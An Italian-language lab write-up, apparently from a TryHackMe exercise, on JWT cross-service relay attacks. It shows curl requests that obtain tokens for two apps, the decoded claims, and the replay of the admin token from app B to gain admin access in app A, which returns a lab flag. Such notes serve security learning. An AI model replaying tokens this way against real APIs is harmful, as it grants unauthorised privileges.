tags: Cross-Service_Relay_Attack JWT_Hacking API_Hacking
Questo attacco si verifica quando un server che gestisce l’API deve accettare richieste da tipi diversi di applicazioni il che porta ad avere diversi permessi a seconda dell’applicazione, se configurato male però è possibile ottenere privilegi superiori a quelli stabiliti utilizzando un token di un’altra autenticazione per un’altra applicazione che ha permessi superiori.
Per esempio se avessimo l’applicazione A e l’applicazione B dove la prima ha permessi di user mentre la seconda ha permessi di admin e il server non controlla bene questi permessi noi possiamo recuperare il token dell’applicazione B (ovviamente dobbiamo avere le credenziali) e provare a loggarci nell’applicazione A con il token dell’applicazione B il che se è vulnerabile ci permette di ottenere i privilegi di admin anche nell’applicazione A.
Esempio
Token dell’applicazione A:
curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password7", "application" : "appA"}' http://10.10.128.40/api/v1.0/example7
{
"token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MCwiYXVkIjoiYXBwQSJ9.sl-84cMLYjxsD7SCySnnv3J9AMII9NKgz0-0vcak9t4"
}{
"typ": "JWT",
"alg": "HS256"
}
{
"username": "user",
"admin": 0,
"aud": "appA"
}Token dell’applicazione B:
curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password7", "application" : "appB"}' http://10.10.128.40/api/v1.0/example7
{
"token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MSwiYXVkIjoiYXBwQiJ9.jrTcVTGY9VIo-a-tYq_hvRTfnB4dMi_7j98Xvm-xb6o"
}{
"typ": "JWT",
"alg": "HS256"
}
{
"username": "user",
"admin": 1,
"aud": "appB"
}Ora usiamo il token dell’applicazione B per autenticarci come admin anche nell’applicazione A:
curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MSwiYXVkIjoiYXBwQiJ9.jrTcVTGY9VIo-a-tYq_hvRTfnB4dMi_7j98Xvm-xb6o' http://10.10.128.40/api/v1.0/example7_appA?username=admin
{
"message": "Welcome admin, you are an admin, here is your flag: THM{f0d34fe1-2ba1-44d4-bae7-99bd555a4128}"
}